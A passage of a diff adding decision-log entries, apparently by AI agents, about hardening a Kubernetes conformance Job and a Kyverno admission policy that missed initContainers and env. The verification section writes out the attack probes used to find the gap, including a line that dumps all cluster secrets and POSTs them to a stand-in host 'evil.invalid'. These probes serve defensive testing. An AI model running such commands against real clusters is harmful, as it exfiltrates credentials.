+CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
+#
+# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
+# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
+# that closes the residual "anyone who can push to this path" gap. Separate PR, human
+# reviewed, because it edits the security boundary itself.

decisions/2026-09-29-conformance-job-template.md

@@ -0,0 +1,401 @@
+---
+date: 2026-09-29
+branch: feat/conformance-job-template
+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
+check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
+`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
+verified; its transport over `kubectl logs` from a real Pod is not.**
+
+### Gate
+
+Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
+`.git`, per CLAUDE.md §3):
+
+    diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
+    touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
+    spec-immutability: green
+    decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
+                            2 entries well-formed — this one included)
+    lint: green            (404 files)
+    l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
+                            0 failures, 0 skips, 0 unwired)
+    render-golden: green   (10 onboarded service goldens reproduce)
+    l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
+    gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
+    conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
+    MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
+      Stages that did not run: gitea-settings
+    rc 3
+
+Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
+says nothing about Gitea's branch protection or runner registration, and the seven touched
+requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
+itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
+merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
+(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
+well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
+eye — though that stage checks *structure*, never whether any claim inside it is true.
+
+### The `approval-policy` check this PR was expected to fail does not exist
+
+I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
+security-relevant. **That check does not exist.** Measured rather than assumed:
+
+    grep -rn approval .gitea/workflows/     ->  no match
+    GET /repos/.../branches/main
+      protected                    True
+      user_can_push                False
+      enable_status_check          True
+      status_check_contexts        ['gate / gate (pull_request)']
+      required_approvals           1
+    GET /repos/.../commits/<head>/statuses
+      success   gate / gate (pull_request)          Successful in 1m36s
+      pending   gate / conformance (pull_request)   Blocked by required conditions
+
+The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
+that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
+approval policy in CI anywhere in this repo.** What actually stops this merging is
+`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
+self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
+by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
+
+**Consequence worth acting on:** a change under `conformance/**` — including a change to the
+admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
+path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
+policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
+`paths:`-scoped required check would be the mechanism; neither exists today.
+
+The PR was **not merged** and nothing was worked around.
+
+### Process note, worth more than the policy fix
+
+Both halves of the security finding came from **probing rather than reading**. The hole was not
+visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
+explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
+policy is only as trustworthy as its negative fixtures.
+
+### Addendum — rebased onto `main` after #18 landed (2026-09-29)
+
+This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
+`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
+file (see `decisions/README.md`).
+
+The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
+where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
+`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
+`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
+
+One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
+carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
+["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
+in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
+`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
+`main` documenting an open hole that had just been closed, which is the same
+documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
+rebase: every file but that README is byte-identical to the pre-rebase tip.
+
+## What I did NOT verify
+
+- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
+  exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
+  clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
+  all **unexercised**. The envelope itself is verified; its transport is not.
+- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
+  now on `main` and this branch was rebased onto them. What that changes is only *availability*:
+  if the path were missing or named differently the init container would fail to start, and if the
+  image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
+  image has been built or pushed, so the digest this branch pins still resolves to nothing.
+- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
+  name is referenced here.
+- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
+  not been built. If the Containerfile picks a different uid, the Job will not start.
+- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
+  the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
+  assertion turns that into a loud failure rather than a wrong-tree run.
+- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
+  Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
+  `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
+  *template* nested in a Job, and I found no definitive answer. Establishing it needs a
+  `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
+  so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
+  field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
+  boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
+  the rule should stay either way.
+- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
+  or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
+  trigger identity in a live admission request.
+- **Admission was never exercised by a real API server** — only by `kyverno apply` against
+  manifests. A policy that a CLI accepts can still behave differently once installed.
+- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
+  there is deliberately partial, not complete.
+- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
+  entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
+  reviewed change. That is the intended failure direction, but it is a coupling the next person
+  editing either script needs to know about, so it is called out in the rule's message.
+- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
+  branch changes nothing about what CI does today.
+- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
+  conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
+  runtime behaviour.
+- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
+  frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
+  sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.

decisions/2026-09-29-conformance-runner-image.md

@@ -0,0 +1,258 @@
+---
+date: 2026-09-29
+branch: feat/conformance-runner-image
+title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
+[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
+merged** — an agent cannot, and should not.
+
+### The defect, stated plainly
+
+`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
+`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
+and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
+have failed at exec of `./run.sh` before a single test ran, and the only place that would have
+surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
+it in the archive: a manifest that *described* a working mechanism, with nothing measuring
+whether the mechanism existed.
+
+### What landed
+
+- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
+  chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
+  fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
+  `fedora-minimal` and carries no downloader).
+- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
+  prints the digest, and **never pushes**.
+- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
+  addendum below).
+- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
+- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
+  `image:`.
+
+`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
+and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
+Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
+forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
+
+Two things the admission boundary forced, both of which would otherwise have been discovered
+at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
+reject a named user), and every writable path must live under `/workspace` (the pod is
+`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
+`safe.directory` is therefore written to `/etc/gitconfig` at build time.
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
+
+### The chainsaw supply-chain gap, stated accurately
+
+The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
+URL". Literally true, and misleading: it reads as "no integrity option exists". The release
+assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
+each tarball. So verification IS available; it needs cosign in the builder stage and the right
+keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
+sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
+Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
+decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
+same gap for the same binary.
+
+### Addendum — `/usr/local/bin/conformance-clone`
+
+Added at the coordinator's request, to close half of the admission gap a sibling agent found:
+the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
+from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
+arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
+author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
+`kubectl get secrets -A`).
+
+The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
+replace the one executable the policy will come to trust. Clone logic taken from PR #20's
+`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
+`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
+accepted.
+
+**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
+taken from the environment.** The brief said to take SHA, repo URL and target dir from the
+environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
+script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
+trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
+the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
+vars are still read so the Job template stays self-documenting, but a value that disagrees with
+the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
+is the SHA.
+
+**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
+path *required* rather than merely *available* is a 4th policy rule demanding
+`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
+rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
+branch. Until it lands, the hole is open.
+
+The anonymous-clone fallback is deliberate and announced in the script's log line: read access
+to this repo needs no credential today, the integrity guarantee here is the SHA assertion
+rather than the credential, and requiring the Secret would have made the script untestable
+without one.
+
+### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
+
+`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
+selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
+`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
+the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
+offline in the same CI run.
+
+So **the plan's own invocation shapes do not work on this image.** `--layer all
+--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
+documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
+must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
+to nothing.
+
+**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
+layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
+checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
+documented in the Containerfile header and the incluster README so it cannot be rediscovered
+from a pod log.
+
+### Follow-ups this creates
+
+1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
+   `CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
+   not the local manifest digest the build printed.
+2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
+   wildcard with the literal digest, closing the residual "anyone who can push to this path"
+   gap. Separate, human-reviewed PR — it edits the security boundary.
+3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
+   carrying an image reference that admission would deny.
+4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
+   Without it, `conformance-clone` is available but not required, and the injection hole is
+   still open.
+
+### Rework note — why this entry is a file and not an append
+
+This branch originally carried its handoff as a ~236-line append to the tail of
+`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
+and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
+its substance moved here verbatim in meaning; the branch now touches no file outside
+`conformance/`. Nothing about what the code claims to have proven was changed by that move.
+
+## What I verified
+
+### The image, by running it — not by a green build
+
+As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
+(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
+non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
+`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
+`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
+in-image verification still passed.
+
+### The init-container clone path, end to end
+
+From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
+`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
+notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
+HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
+anonymous read is currently open — the plan's read-only deploy token buys authorisation
+hygiene, not reachability.
+
+`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
+`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
+exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
+instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
